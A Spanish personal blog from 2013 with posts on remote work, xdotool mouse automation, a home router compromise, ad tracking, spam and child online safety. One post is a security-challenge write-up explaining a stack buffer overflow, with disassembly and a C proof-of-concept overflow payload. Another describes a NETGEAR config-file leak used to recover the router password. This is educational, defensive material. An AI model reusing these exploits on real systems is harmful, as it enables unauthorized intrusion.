Redes Sociales

miércoles, 25 de diciembre de 2013

Ideas para gestionar equipos de trabajo en remoto

después de un tiempo sin publicar por fin vuelvo a tener tiempo para dedicarle un poco al blog. Y lo voy a hacer hablando de un tema que tengo ahora candente: el trabajo en remoto o tele trabajo.

A lo largo de mi carrera, que comienza a ser dilatada y habiendo pasado por unas cuantas empresas, he tenido en dos ocasiones (prolongadas) que tener que trabajar en remoto. Desde casa, para ser más precisos.

En el primer periodo, que duró más o menos un año, se trataba de hacer tareas de mantenimiento de sistemas. Hablo de sistemas Solaris, HP-UX, Oracle, etc. Levantar maquinas, bases de datos, hacer backups, etc. Vamos, lo típico. En el segundo periodo, mas corto, de apenas 6 meses, las tareas a realizar eran un poco más CPPR. De consultoría, vamos.

Fueron dos periodos muy diferentes, pero aprendí varios cosas, comunes a ambos periodos, que creo que me dan cierto bagaje como para opinar en la problemática que tanto nos encontramos en la empresa española. Y es más, dado que en ambos peridos he tenido a mi cargo equipos de trabajo (aunque mas bien pequeños, de 4 y 3 personas respectivamente), creo poder hacerlo desde el punto de vista del empleador, cosa mas complicada de conseguir:

  • Primero. El trabajo en remoto es posible. Y no solo eso, es muy rentable para la empresa. A los consabidos ahorros en internet, luz, mantenimiento de localese, etc, hay que tener en cuenta que el trabajador, si le gusta su trabajo, te va a hacer muchas más horas de trabajo que si tuviera que ir físicamente a un centro de trabajo, con un horario al que probablemente no se adapte y perdiendo parte de su vida en transporte.
  • Segundo. Ya lo he dicho (y subrayado) en el primer punto. Para conseguir los mejores resultados, es importante que al trabajador le guste su trabajo. Si se trata de un trabajo rutinario, también es posible conseguir buenos resultados con el teletrabajo, pero será más dificil y dependerá mucho más de se la persona esta comprometida con su trabajo o no.
  • Tercero. Y esto es importante. El teletrabajo no es para todo el mundo. Hay gente que se implica con su trabajo y gente que no. Por supuesto, todos los trabajos tienen su parte tediosa y hay gente que si no tienen a alguien detrás, presionando, no son capaces de trabajar. Eso es algo a tener en cuenta y por eso es importante comenzar siempre con un periodo de prueba. Si tras ese periodo de prueba, vemos que el trabajador te curra y puedes confiar en él/ella, podrás hacerlo casi siempre en el futuro.
  • Cuarto. Es importante también darle al trabajador unos objetivos. Objetivos diarios o semanales. Y que el trabajador amolde un poco (un poco, solo) su horario para tener el trabajo hecho al final del dia o semana. Esto lleva cierta carga extra de gestion, pero tampoco es algo exagerado. Y claro esto implica también que no todos los proyectos son susceptibles de permitir el trabajen remoto.
  • Quinto. También hay que hacer ver al trabajador que, aunque se esta trabajando en remoto, forman parte de un equipo. Hay que tener reuniones periodicas con el equipo, tanto online (skype...) como presenciales. Es un requisito. El equipo se debe conocer.
  • Sexto. El exceso de control no es malo. Al menos los primeros meses hasta conocernos. Es bueno que el trabajador sepa que tiene alguien detrás, para apoyar y controlar. Posteriormente es posible que ese control no sea necesario.

Estas son solo algunas ideas que me vienen a la cabeza, pero con un poco de control, trabajo por objetivos, un tiempo de prueba y un trabajo que agrade al trabajador, es perfectamente factible (y rentable). Algunos de los puntos anteriormente comentados han quedado demostrados por estudios realizados en EEUU. En este estudio se observó que los empleados que trabajan de forma remota muestran un nivel de compromiso mayor que el de los empleados que trabajan desde la oficina. Lo que no indica es si los trabajadores que estaban en sus casas hacian un trabajo que les gustaba o no.

También se muestra que el nivel más alto compromiso lo tienen los empleados que llevan poco tiempo trabajando en remoto o trabajan de forma remota menos de 20% del tiempo. El trabajador se amolda y para eso es necesario un supervisor que se encargue de su control.

En este otro estudio se menciona que es mas facil retener y atraer a empleados de alto potencial si se les permite trabajar en remoto. Es lógico.

Entonces ¿por que tanto miedo a destapar la lata?. Mi opinión es por una falta de confianza en el trabajador. Debo de decir que entiendo los miedos del empresario. En una sociedad como la española en que el idolatrado es el que menos trabaja y el que mas engaña, los que trabajan en remoto son como superheroes que han conseguido engañar a su empresa. Hay que rechazar esa idea. En paises del norte de europa, EEUU, es perfectamente normal el "Home working" y estos no implica una reduccion de la eficiencia del trabajador. además, cada persona es diferente y mientras hay gente que vale para trabajar en remoto, hay otra que no vale.

.

Si quieres reducir los costes y tienes un proyecto de larga duracion, que permita el trabajo por objetivos, no tienes tanto que perder, sobre todo si pones en ese proyecto a gente de confianza. Yo lo haría.

sábado, 16 de noviembre de 2013

Automatización de raton en diferentes arquitecturas

Todos tenemos nuestros hobbies fuera de la informática. Y uno de los mios es la genealogía. Me encanta rebuscar entre documentos que tienen 400 años en busca de un misero dato que en el fondo no nos dice nada.

Para los que no sepáis cómo es este mundo. Básicamente consiste en pasarse múltiples horas hojeando los libros de bautismos y matrimonios que los curas de las iglesias iban escribiendo. Por suerte muchos de estos libros han sido escaneados y esos valiosos documentos de 400 años pueden mantenerse a salvo de incautos como yo.

Entrando ya en materia, el problema que tenía con la aplicación donde se almancenan esas copias escaneadas de los libros es que:

  • a) La web es lenta
  • b) Sólo deja descargarse hojas sueltas
  • c) Es necesario revisar a veces libros de 600 páginas, folio a folio.

Estas características hacen el trabajo del genealogista, ya de por si muy pesado, aún más tedioso.

Como soy informático y me gusta mucho el tema de la automatización de tareas me planteé la forma de automatizar al descarga de libros completos, pagina a página para, una vez descargados, unirlos en un PDF.

El primer problema que encontré fue la aplicación que utilizaban era embebida y solo tenia un frontend en flash. No me valia pues Python.

Me puse a buscar un lenguaje de programacion que me permitiera hacer clicks en posiciones de la pantalla, y encontre aplicaciones como Automouse o autoclick que permiten hacer clicks en posiciones de pantalla en concreto, sin embargo no me valia, necesitaba que se metiera texto cuando lo necesitaba y que tuviera variables que crecieran donde se alojara por ejemplo la página que estaba en ese momento descargándome.

Así conocí AutoIT, un lenguaje de scripting que me permitía hacer todo lo que quería desde Windows.

Con comandos como MouseClick("left",75,43) que me llevaba a la posición 75,43 de la pantalla y me hacia click con el botón izquierdo. Y comandos como InputBox("Titulo") que me permitía guardar en variable lo que escribiera el usuario. Así saque este script:

Este script en concreto, detecta si el directorio donde se va a guardar las imagenes existe o no, se adapta a los libros automaticamente, se recupera de errores y al final convierte las imagenes en PDF.

Una vez conocí bien AutoIT lo he utilizado en el trabajo para automatizar tareas repetitivas. Eso lo contaré en otras entrada.

Recientemente en casa me di cuenta que mientras descarga libros no puedes hacer nada más en el equipo (la aplicación mueve el raton cada pocos segundos) durante un par de horas, a no ser que tuviera máquinas virtuales donde poder correr el script.

Como tenia a mano un linux en otra máquina pense si existiría AutoIT para Linux. La respuesta fue negativa. Pero si encontré algo parecido y conocido como xdotool

Aunque aún no la he estudiado en profundidad, tiene aspecto de permitirme hacer todo lo que he podido hacer con AutoIT. A diferencia de AutoIT, que es un lenguaje de scripting, xdotool es una aplicación que admite una serie de parametros o comandos y que debe ser lanzado de forma repetitiva desde un script BASH. Para hacer muchas otras tareas que hace autoIT, nos tenemos que basar en los comandos de Linux desde linea de comandos. En cualquier caso no me costó mucho conseguir algo parecido a lo que tenia hecho en AutoIT en WIndows:


‎#!/bin/bash

PAGINAS=421
DIRECTORY=/home/lmartin/Genealogia
PUEBLO=MARAZOLEJA
C=197
mkdir $DIRECTORY/$PUEBLO 2>/dev/null

xdotool sleep 3 

while [ $C -lt $PAGINAS ]
do

#ESPERO 10SG A QUE SE CARGUE LA IMAGEN
xdotool sleep 10 

#LE DOY A GUARDAR IMAGEN
xdotool mousemove 1218 565 click 1

#ESPERAMOS 10SG A QUE SE GUARDE EN DISCO
xdotool sleep 10 

mv /home/lmartin/Descargas/record-image.jpg $DIRECTORY/$PUEBLO/$C.jpg

#HAGO CLICK EN "SIGUIENTE IMAGEN":
xdotool mousemove 208 235 click 1

((C++))
done

xdotool esta disponible para Debian y Ubuntu, FreeBSD, Fedora, Mac OS X y OpenSUSE.

Y una vez hecho me dije y por que no hacerlo en el IPAD, en el fondo es un UNIX... Si, es verdad pero lo que me daba cuenta eran las fuertes restricciones que aplica Apple al desarrollo de Apps. De hecho no encontré ninguna App comercial que hiciera algo similar. En esta web recomendaban hacerlo via VNC desde el PC. No me parecia una solucion factible. Finalmente encontré en Cydia una App de pago llamada AutoTouch que permite grabar una serie de taps y sus posiciones y luego reproducir esa secuencia de movimiento, a la par que genera código LUA que luego podemos modificar.

Autotouch, una App muy recomendable para automatizar miles de tareas con nuestro Ipad, aunque eso sí, es necesario hacer jailbreak a nuestros dispositivo iOS. Cabe mecionar que también esta disponible para Android, aunque es posible que para Android haya otro tipo de Apps de características similares.

martes, 5 de noviembre de 2013

La importancia de la actualizarse, Andres

Desde hace unos dias venia notando que la conexión a internet me iba lenta. Por mas que desactivaba servicios y herramientas como el utorrent, la cosa no iba del todo bien.

Me ha llamado la atencion ver esta mañana en los logs del router que el mes pasado descargue 40Gb.... y subi 55Gb!!. Esto puede ser en cualquier caso a causa del uTorrent, pero en todo caso me sigue pareciendo un uso excesivo de Internet.

A raiz de esta ingente cantidad de datos subida a internet desde mi red, me puse a mirar los logs. Cual fue mi sorpresa encontrar mensajes de indicaban a grandes rasgos (no tengo el mensaje original) que me estaban accediendo desde las IPs 46.174.199.10 (Rusia) y 113.200.214.43 (China) entre otras a un mismo puerto (el 64662) de mi portatil:

(...)
[LAN access from remote] from 46.174.199.10:22342 to
192.168.XX.XX:64662, Tuesday, Nov 05,2013 11:16:22
[LAN access from remote] from 113.200.214.43:33121 to
192.168.XX.XX:64662, Tuesday, Nov 05,2013 11:14:01
(...)

¡Bicho!, pensé y seguro que no ando desencaminado. El caso es que al mirar los puertos abiertos dicho puerto no aparece en mi portatil, lo cual no quiere decir nada, puede ser que tenga un bicho que se conecta con un servidor C&C cada X tiempo.

Lo primero que he mirado ha sido a ver si el router (Un NetGear N-150 WR1000) tenia alguna vulnerabilidad y Google me ha respondido que si:

http://www.exploit-db.com/exploits/24916/

Según nos comentan aqui en los NETGEAR N-150 WNR100v3 con firmware anterior a 1.0.2.60 se puede conseguir el fichero de configuración del router accediendo a la URL indicada en el articulo:

http:///NETGEAR_fwpt.cfg?.jpg

...y ciertamente se descarga un fichero cifrado con extension .cfg:

Como indica el articulo, el fichero esta cifrado. Pero dan una "solución" para eso: Un programita en Python.

Al pasarle el programita en python, con alguna pequeña modificación necesaria, entre toda la morralla de la configuración del NetGear, la contraseña aparece en limpio la contraseña de la interfaz web del router:

La solución ha sido, por supuesto, actualizar el firmaware del Router, cosa que he hecho, desde la versión 1.0.2.18 a la 1.0.2.62 (tiene sus años el aparato).

También he cambiado la contraseña del router y de la red wifi

Lo cierto es que despues de adoptar estas medidas:

  1. Me va mejor la red
  2. Me va mejor internet
  3. Han dejado de aparecer esos mensajes que mostraba más arriba.

En cualquier caso, dicho router no esta abierto al exterior, por lo que es poco probable que me hayan sacado la contraseña del router de esta manera. Tiene más bien aspecto de que uno de mis equipos ha sido infectado.

Ahora solo me queda revisar todos los equipos y seguir monitorizando la red. O sea lo de siempre!.

La verdad es que constantemente se recomienda actualizar todo el software y el sistema operativo a la ultima version, pero nos olvidamos muchas veces de que por los routers pasa toda la información y que tambien tenemos que actualizarlos y hacerles un mantenimiento...

lunes, 28 de octubre de 2013

Respuestas a las pruebas de INTECO (2 de 2)

El pasado mes de Julio comencé a explicar mis respuestas a las pruebas de INTECO del pasado mes de Julio, sin embargo me dejé la segunda parte, que publico ahora:

Análisis de vulnerabilidades

La tercera prueba tenía que ver con un buffer overflow. Mostraban un trozo de código en ensamblador y preguntaban:

Pregunta 1:Explicar detalladamente, indicando direcciones de memoria, que sucede cuando se ingresan demasiados caracteres.[30%]

Respuesta:

El problema que ocurre aquí es que no se esta usando espacio de direccionamiento de datos para almacenar el nombre, se r eservan, en cambio, 28hex, o sea 40 bytes de espacio en la pila.

Como se ve en la instrucción 00401293, se está haciendo un SUB ESP,28, o sea reduciendo el tope de la pila (que crece hacia abajo) para que ahí se almacene el nombre.

Con valores concretos:

Al iniciar la función, el top de la pila tiene la instrucción desde la que ha sido llamada (004012F4). En ese momento ESP es 22FF5C y al hacer el PUSH EBP pasa a ser 0022FF58.

Con estos valores, el programa puede volver a la función que lo referencio al ejecutar el comando final RETN

00401290  /$  55            PUSH EBP
00401291  |.  89E5          MOV EBP,ESP
00401293  |.  83EC 28       SUB ESP,28

Al restarle 28hex ESP tiene el valor 22FF30, LOCAL.10 resuta ser la misma dirección: 22FF30, LOCAL.6 es 22FF40 y LOCAL.9 es 22FF34. Deberiamos poder meter un nombre de 40 caracteres, pero como se esta almacenando en LOCAL.6, en realidad se tienen solo 24 caracteres. Y ni eso porque siempre hay que contar el 0 final con el que acaban las cadenas en C. Asi pues 23 caracteres máximo.

00401296  |.  C70424 003040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; /format => "Introduce tu nombre: "
0040129D  |.  E8 9E050000   CALL <JMP.&msvcrt.printf>                ; \MSVCRT.printf
004012A2  |.  8D45 E8       LEA EAX,[LOCAL.6]
004012A5  |.  894424 04     MOV DWORD PTR SS:[LOCAL.9],EAX           ; /<%s> => OFFSET LOCAL.6
004012A9  |.  C70424 163040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; |format => "%s"
004012B0  |.  E8 7B050000   CALL <JMP.&msvcrt.scanf>                 ; \MSVCRT.scanf
004012B5  |.  8D45 E8       LEA EAX,[LOCAL.6]
004012B8  |.  894424 04     MOV DWORD PTR SS:[LOCAL.9],EAX           ; /<%s> => OFFSET LOCAL.6
004012BC  |.  C70424 193040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; |format => "Te llamas %s
"
004012C3  |.  E8 78050000   CALL <JMP.&msvcrt.printf>                ; \MSVCRT.printf
004012C8  |.  C9            LEAVE
004012C9  \.  C3            RETN



Pregunta 2: ¿Qué sucede cuando el nombre ocupa 28 caracteres?[20%]

Si metemos 28 caracteres, nos cargaremos el valor de EBP y añadiremos un 0 al final de la dirección de retorno (debido al 0 final de las cadenas en C), haciendo que la dirección de retorno sea a la 00401200 en vez de a la 004012F4 como debería ser. De esta manera al ejecución continua en un punto completamente diferente.




Pregunta 3: ¿Es posible usar la vulnerabilidad para ejecutar código en el sistema? Si es posible, muestra el código fuente de un programa que lo explote.[50%]

Dado que es un ejecutable Windows, es posible hacerlo desde la misma línea de comandos. Se crea un fichero de texto con 28 caracteres visibles, por ejemplo “1234567890123456789012345678” y a continuación se modifica en hexadecimal para añadirle la dirección de memoria a la que queremos que salte, por ejemplo 0x00, 0x40, 0x12, 0x96. De esta manera al ejecutar:

C:\>type exploit.txt | vulnerabilities.exe

En vez de volver a la direccion de retorno adecuada, saltará a la que le hemos indicado: 00401296 que hará que vuelva a preguntar el nombre una y otra vez.

Si lo que se desea es un programa, en este ejemplo saltamos la ejecución a 0022FF60, que es la siguiente posición en la pila y luego empezamos a meter código de nuestra elección:

#include 
int main()
{
char mona[] =             "\x34\x33\32\x31\x38\x37\x36\x35\x32\x31\x30\x39\x36\x35\x34\x33\x30\x39\x38\x37\x30\x30\x30\x30\x30\x30\x30\x30\x00\x22\xFF\x60\XC7\x04\x24\x00\x22\xFF\x30\xE8\x9E\x05\x00\x00";

FILE *file; 
file = fopen("exploit.txt","w"); 
fputs(mona,file);
fclose(file); 

 system(“type exploit.txt | vulnerabilities.exe ”);

}

El codigo que he metido despues ha sido una copia de lo encontrado en las líneas 00401296:

MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 
CALL    

…pero vamos ya podíamos meter lo que quisiéramos.




Para la cuarta prueba, daban un fichero "dd" y hacian las siguientes preguntas. Por desgracia para esta prueba no tuve tiempo y tuve que dejarlo en blanco:

Análisis forense

Pregunta 1: Indicar si la máquina está comprometida y en caso afirmativo con qué tipo de código malicioso, aportando las pruebas encontradas del mismo. [15%]

Pregunta 2: ¿Tiene procesos, bibliotecas o módulos ocultos en el sistema?. En caso afirmativo, indicar cuales con todos los detalles de los mismos y los métodos de detección utilizados. [30%]

Pregunta 3: ¿Existe algún tipo de indicio de comunicaciones en el sistema que permitan el control remoto del mismo? En caso afirmativo explicar detalladamente. (direcciones IP, puertos, procesos, ruta de los ficheros implicados, comandos ejecutados, privilegios en el sistema, etc.)[20%]

Pregunta 4: Extraiga los ficheros maliciosos identificados en el sistema e indique los hash (SHA256) de los mismos y la ruta donde están ubicados en el disco duro de la máquina.[20%]

Pregunta 5: Explicar cómo tiene persistencia en el sistema, aportando las evidencias encontradas.[15%]

La publicidad personalizada de Google y Yahoo

Cada vez más frecuentemente nos encontramos con que al entrar en una página nos aparecen anuncios de los productos que hemos estado comprando online recientemente.

Es lo que se llama publicidad personalizada y desde mi punto de vista es un atentado claro contra la intimidad.

A partir de esos anuncios personalizados, otra persona que utilice nuestro ordenador podria hacerse una idea de cuales son nuestros gustos y tendencias.

Un ejemplo es el siguiente:


Un rato antes de visitar esta página he estado mirando tarjetas de visita y precisamente he mirado esas. Que curioso, ¿no?.

Lo cierto es que en los blogs gratuitos la publicidad la publicidad nos viene impuesta, las páginas web muchas veces se financian gracias a este tipo de publicidad.

¿Y como obtienen la información de lo que he estado comprando?

Hay dos métodos principalmente, a partir de las cookies que ha dejado en nuestro ordenador la web donde hemos estado de compras y sobre todo gracias al historial de visitas de las grandes compañias: Google, Yahoo, Msn, etc.

En concreto durante el tiempo que estuve de compras, me quedé conectado tanto a mi cuenta de Yahoo!, como a mi cuenta de Google. Y es de éstos historiales que guardan ambas compañías de donde obtienen la información para realizar la "publicidad personalizada".

Hay forma de eliminar este tipo de publicidad. Si nos fijamos bien, en la parte superior del anuncio aparece un pequeño triangulo azul:


Al "clicar" sobre dicho nos lleva a la página de información de la compañia que nos esta ofreciendo la publicidad. En mi caso fueron tres diferentes:

Yahoo!

Al hacer clic sobre el triangulo superior del anuncio me redirigió a esta página donde explica por qué sale la publicidad y cómo obtienen la información relevante.
A medio anuncio, hay un boton (encubierto) con el texto "administre" que nos permite modificar la configuración de los (como ellos les llaman) "anuncios basados en intereses":
Al pulsar el boton nos lleva a una segunda página donde, ahora si, podemos eliminar la publicidad personalizada (dándole al botón excluir):

Evidon
Curiosamente, tras seguir estos pasos, al recargar la página con el anuncio, me salía un segundo anuncio, muy similar al anterior, que claramente seguía siendo publicidad personalizada.

Volví a repetir los mismos pasos y me encontré con que la página de información a la que era reenviado ya no tenía nada que ver con Yahoo!:


Asi que en este caso era una empresa de publicidad, más pequeña, la que me quería seguir vendiendo tarjetas...

Pues nada, tras leer un poco, vi que da la opción de "opt-out from selected companies". Vamos que no era solo Yahoo!, sino que sin saberlo, parace que yo estaba siendo un filón para determinadas compañías de internet.

Google
Al refrescar el anunció me mosqueó ver otro anuncio claramente personalizado. Mosqueado volví a seguir los pasos antes mencionados y me encontré con que esta vez era la propia Google la que estaba rastreando mi historial.

Esta vez al darle al triangulo verde, nos lleva a esta página:


Donde nos cuentan de nuevo todos los beneficios del servicio de anuncios de Google... Para, de nuevo,  perimtir cambiar la configuración, haciendo click en "Ad Settings". 

Donde, en la parte de abajo se puede, en la sección "inhabilitacion", inhabilitar los anuncios basados en intereses en Google y habilitar los anuncios de Google Basics.

Des pués de esto, al recargar la página siguieron saliendo anuncios, pero esta vez no relacionados, al menos que yo sepa, con mi historial de navegación:


Volví a hacer clic sobre el triangulo azul que me volvió a llevar a una página de Google, pero esta vez, me indicaba claramente que la publicidad personalizada esta deshabilitada.

Esto significa que esta página web tiene contratada su publicidad con Google, entre otros, y ésta intenta siempre mostrar antes de nada anuncios personalizados y si no, muestra anuncios más genéricos.

Otras compañías
Existen mutitud de otras compañias de publicitarias que operan de la misma manera. Estas tres que menciono son solo la punta del iceberg y en todas ellas existirá alguna forma de administrar que aparezcan o no los anuncios personalizados, tal y como se ha hecho con estas tres.

Cabe mencionar que deshabilitar la publicación de anuncios personalizados, no quiere decir que estas compañias esten dejando de "espiarnos". Recabarán toda la información que puedan siempre de nuestros habitos y paginas visitadas y encontrarán, seguro, alguna forma de aprovecharse de ello.

Para intentar evitar al máximo que compañias como Google y Yahoo se dediquen a almacenar lo que vamos haciendo, se pueden seguir algunos consejos:

1.- Utilizar la navegación privada (Ctrl + Shift + N en Google chrome, Ctrl + Shift + P en Firefox y también Ctrl + Shift + P en Internet Explorer)

2.- No mantenerse logado con nuestro usuario de Google, Yahoo, Msn, o el que sea mientras navegamos por internet. Debemos usar estos usuarioss en su momento adecuado y cuando dejemos de hacer uso del correo del google o los grupos de Yahoo, o lo que quiera que estemos usando, deslogarse automáticamente.

Slds

miércoles, 16 de octubre de 2013

Metasploit Database FATAL Error: Remaining connection slots are reserved for non replication superuser connections

Hoy al levantarme y abrir el metasploit me encuentro con que no me abre por un error aparentemente claro:

"Database FATAL Error: Remaining connection slots are reserved for non replication superuser connections"

Me acuerdo de que el día anterior he dejado lanzado un db_autopwn que es lo más parecido al ping de la muerte que se puede lanzar. "Debo haber petao la base de datos", pienso. Hasta que me pongo a buscar la base de datos y coño, no existe. De hecho, prueba a instalar postgresql y la instala, "es decir esta funcionando sin base de datos". Craso error. Esta funcionando con base de datos y con un postgresql, pero es el postgresql que viene por defecto con el metasploit, haciendo un ps me encuentro con esto:

Pues nada, a matar:

for i in `ps -ef | grep idle | grep -v grep | awk '{ print $2 }'`; do kill -9 $i; done

Como vemos acaba de crear un proceso similar, pero todos los anteriores, del lanzamiento del db_autopwn, ya no estan. Intentamos abrir el metasploit ahora, et voila!. Vamos, una chorrada:

martes, 8 de octubre de 2013

Spam de todos los colores

El SPAM sigue siendo uno de los mayores quebraderos de cabeza con los que tanto usuarios, como administradores de sistemas se siguen encontrando.

En ocasiones no es facil saber cuando un correo es SPAM, aunque ciertamente, con algo de ojo y un poquito de experiencia, nadie debería ser engañado por un correo de este tipo, pero ya se sabe de entre un millon de receptores, alguien va a picar. Seguro. Y podriamos ser cualquiera de nosotros.

Y es que el SPAM malicioso (ojo, que hay que distinguir porque existe otro tipo de SPAM que es solamente eso, molesto) va actualmente va dirigido a todo el mundo y para ello se aprovecha de todo tipo de recursos.

Las temáticas que aprovecha son de todo tipo, grandes calamidades, por ejemplo recientemente:

o de dias señalados del año como:

Pero no son solo dias memorables americanos y rusos, tambien podemos encontrar días más "españoles" como:

Estos son un clásico y cada año se crean nuevas campañas de SPAM dirigidas a días tan señalados.

También son objetivo de los spammers aspectos aparentemente menos "celebrables":

Por supuesto, en un entorno informatico como es la base del SPAM, también se aprovechan de las aplicaciones informáticas móviles y servicios de internet que conforman la web 3.0 actual:

Podriamos seguir asi hasta rellenar un libro entero, pero tampoco tiene sentido. Cualquier evento que ocurra, noticia relevante, dia señalado, etc. es una excusa para lanzar una nueva campaña de SPAM. Podríamos pensar cualquier hecho noticiable que haya ocurrido en los ultimos 5 años y buscar en google y muy probablemente encontraríamos que ha sido utilizado como parte de una campaña de SPAM.

Sin embargo a partir de los ejemplos que he señalado antes podría pensarse que el SPAM va dirigido a EEUU, Rusia, China, Irlanda o Reino Unido. Y nada más lejos de la realidad, podemos encontrar, sin demasiado esfuerzo ejemplos de SPAM con objetivo claramente español:

Para evitar caer en ellos tenemos que tener claro que es correo que NO esperamos recibir, en muchas ocasiones escrito en inglés u otro idioma desconocido, con faltas de ortografía o frases sin sentido y que siempre siempre te anima a:

  • hacer click en un enlace
  • abrir un documento adjunto

Lo de que venga en inglés no es un metodo seguro de filtrar el SPAM, hay muchos casos de SPAM malicioso en español que podria engañarnos.

...el objetivo es siempre engañar y los spammers saben muy bien lo que va a llamar la atención de la gente. Y lo aprovechan. Por eso, cuando recibais un correo que no esperamos hay que abrirlo siempre con precaución, uno nunca sabe que podría contener.

lunes, 1 de julio de 2013

Guía de introducción de conceptos de seguridad informática en niños

Propondremos a continuación un procedimiento de introducción de conceptos de seguridad en los más pequeños. Esta pensado por mi únicamente por lo que probablemente no tenga mucha validez pedagógica.

la actividad que he pensado se compone de cuatro bloques de contenidos, referidos a cada uno de los aspectos que los pequeños deben tener en cuenta a la hora de utilizar el ordenador y navegar por Internet: juegos, chat, correo electrónico y páginas web.

Para ir introduciendo el tema y descubrir el conocimiento del medio que tienen los niños, podemos tomar como punto de partida una serie de preguntas para contextualizar el tema. - ¿Sabéis todos lo que es Internet, verdad? - ¿Cuantos de vosotros lo usáis? - ¿Y qué hacéis en Internet?



JUEGOS

Empezaremos con la sección de juegos porque posiblemente es de lo que más utilicen en Internet. Para ir adentrando el tema de la seguridad, haremos preguntas y, ante sus respuestas, se propondrá el consejo que se menciona a continuación. Empezaremos con una pregunta introductoria:

  • ¿Cuántos de vosotros jugáis a través de Internet?
  • Cuando estáis jugando en Internet, ¿os acompañan vuestros padres?
  • CONSEJO: Recordad que siempre, cuando vayáis a cualquier pagina de juegos en Internet debéis estar con vuestros padres, porque no todos los juegos son para todos los niños. Tampoco os debéis fiar de todas las páginas que ofrecen juegos, hay algunas que son malas y podrían estropearos el ordenador o intentar engañaros de una u otra forma. Decídselo también a vuestros padres para que lo sepan y os acompañen mientras jugáis.

  • Cuando vais a páginas de juegos ¿tenéis que meter vuestro nombre o dirección?
  • CONSEJO: Recordad, y si es necesario, se lo recordáis también a vuestros padres, que no hay que dar demasiada información (como vuestro nombre, edad o dirección) en Internet, ni siquiera en las páginas de juegos. Son datos que no hacen falta para poder disfrutar de los juegos.

  • ¿Y habéis conocido alguna vez a otro niño con el que hayáis jugado a través de Internet?
  • CONSEJO: Recordad que no debéis hablar ni quedar con jugadores que hayáis conocido a través de Internet. No les conocéis y no sabéis cuáles son sus intenciones, es posible que ni siquiera sean quien dicen ser y estéis hablando con un adulto que se hace pasar por un niño.

  • ¿Y cuanto tiempo os pasáis al día en Internet jugando?
  • CONSEJO: Al igual que con la televisión, no se debe estar demasiado tiempo en Internet, ni siquiera jugando. Y por supuesto, no debe quitaros tiempo de estudiar o de estar con vuestra familia y amigos. Habladlo con vuestros padres y llegad a un acuerdo. ¡Hay muchas otras formas de pasarlo bien!

POSIBLES PREGUNTAS DE LOS NIÑOS

Las posibles preguntas que puede formular un niño son infinitas, pero se plantean un par de ellas por cada tema.

  • ¿Y por qué no podemos poner nuestro nombre y dirección cuando estamos jugando?
  • Aunque mucho de lo que hay en Internet es bueno y divertido, también hay gente mala. Sólo queremos evitar que os pase algo malo. Sabiendo demasiada información de vosotros, los malos podrían intentar contactar con vosotros para engañaros.

  • Mis padres no me dejan jugar a (nombre de determinado juego), ¿por qué?
  • Tus padres saben muy bien lo que es bueno para vosotros. No conozco tu caso en concreto, pero si tus padres no te están dejando jugar a (nombre del juego) es porque consideran que es lo mejor para ti. Hazles caso. Hay muchos otros juegos en Internet tanto o más divertidos que el que comentas y adaptados para niños como tú. Además, hay muchas formas de divertirse fuera de Internet.

  • Pero hay páginas que si no meto mi nombre y dirección no puedo jugar…
  • En ese caso, antes de entrar díselo a tus padres y que sean ellos quienes decidan y escriban tu nombre y dirección. Además en internet hay muchas páginas web de juegos que no necesitan meter ningún tipo de información.



CORREO ELECTRÓNICO

Continuamos con el correo electrónico. No sabemos hasta qué punto está extendido el uso del mismo entre niños de 7- 8 años, pero es un mundo en el que incluso los adultos muchas veces no somos capaces de desenvolvernos y puede ser peligroso que un niño tenga acceso a una cuenta de correo electrónico, sobre todo si antes no se le han dado unas pautas de uso de la misma

De nuevo proponemos una pregunta introductoria para a continuación introducir los consejos como respuesta a las preguntas.

  • Los que usáis el correo electrónico. ¿Con quién os escribís?
  • Familia, amigos...

  • Cuando leéis el correo electrónico, ¿os acompañan vuestros padres o hermanos mayores?
  • CONSEJO: Es conveniente que vuestros padres estén con vosotros cuando leéis el correo electrónico. Os ayudarán a usarlo y a disfrutarlo y también a identificar situaciones raras.

  • ¿Alguna vez habéis recibido algún correo que no era para vosotros, que no os interesara o que tuvisteis que tirar a la basura?
  • CONSEJO: Si alguna vez recibís un correo de alguien que no conocéis, que os parece raro o que no os gusta, avisad a vuestros padres. Ellos podrán ayudaros. También os enseñarán que ese tipo de correos no se deben abrir y cómo hay que borrarlos. A veces incluso se reciben correos raros de gente conocida. Por eso necesitáis la ayuda de vuestros padres.

  • ¿Alguna vez habéis respondido a un correo de alguien que no conocíais?

    CONSEJO: Recordad no enviar nunca vuestras fotos, ni datos como vuestro nombre, edad o dirección a alguien que no conozcáis. Sólo vuestros amigos y vuestra familia necesitan saber esas cosas, y no hace falta que se las contéis por Internet, porque ya os conocen y las saben.

  • ¿Cuántos sabéis vuestras contraseñas, ya sean del correo electrónico, de un juego o de una página web?
  • CONSEJO: Recordad, siempre, que nunca le debéis decir vuestras contraseñas a nadie, ni del colegio, ni a tus amigos. Solo las debéis saber vuestros padres y vosotros.

POSIBLES PREGUNTAS DE LOS NIÑOS

  • ¿Cómo sabemos si un correo es malo?
  • Muchas veces vuestro ordenador os lo dirá, pero no siempre. Por eso hay que estar alerta. También lo podréis saber porque son correos que no se entienden bien y, sobre todo, porque son de gente que no conocéis. Cuando veáis uno de esos correos, debéis decírselo a vuestros padres.

  • ¿Por qué hay que borrar los correos malos?
  • Hay correos que son malos, porque tienen un virus que puede infectar vuestros ordenadores. Igual que vosotros cogéis un catarro, el ordenador también se puede poner malo. Para curaros, vosotros tomáis unas medicinas y al ordenador se le instala un programa llamado antivirus. Para evitar que el ordenador se ponga malo una y otra vez, lo mejor es borrar esos correos.

  • ¿Por qué no puedo decir mis contraseñas a mis amigos?
  • Responderé con otra pregunta: ¿Alguno de vosotros tiene algún secreto?. ¿A que no se lo contáis a nadie?. Una contraseña es como un secreto, solo nosotros podemos saberlo, porque si todo el mundo lo sabe, deja de ser un secreto, ¿verdad?. Pues una contraseña dejaría de ser una contraseña si la supiera todo el mundo. Además, si tus amigos supieran tu contraseña, podrían entrar en tu correo y ver los mensajes que son solo para ti, jugar en tus juegos o hablar con otros amigos haciéndose pasar por ti. ¿Es eso lo que queréis?.



CHAT/MESSENGER

A continuación se intentarán introducir una serie de consejos a la hora de usar programas de mensajería instantánea, como el IRC, el Messenger, el Skype o cualquier chat de cualquier red social (aunque, por su edad, no deberían tener acceso a las redes sociales).

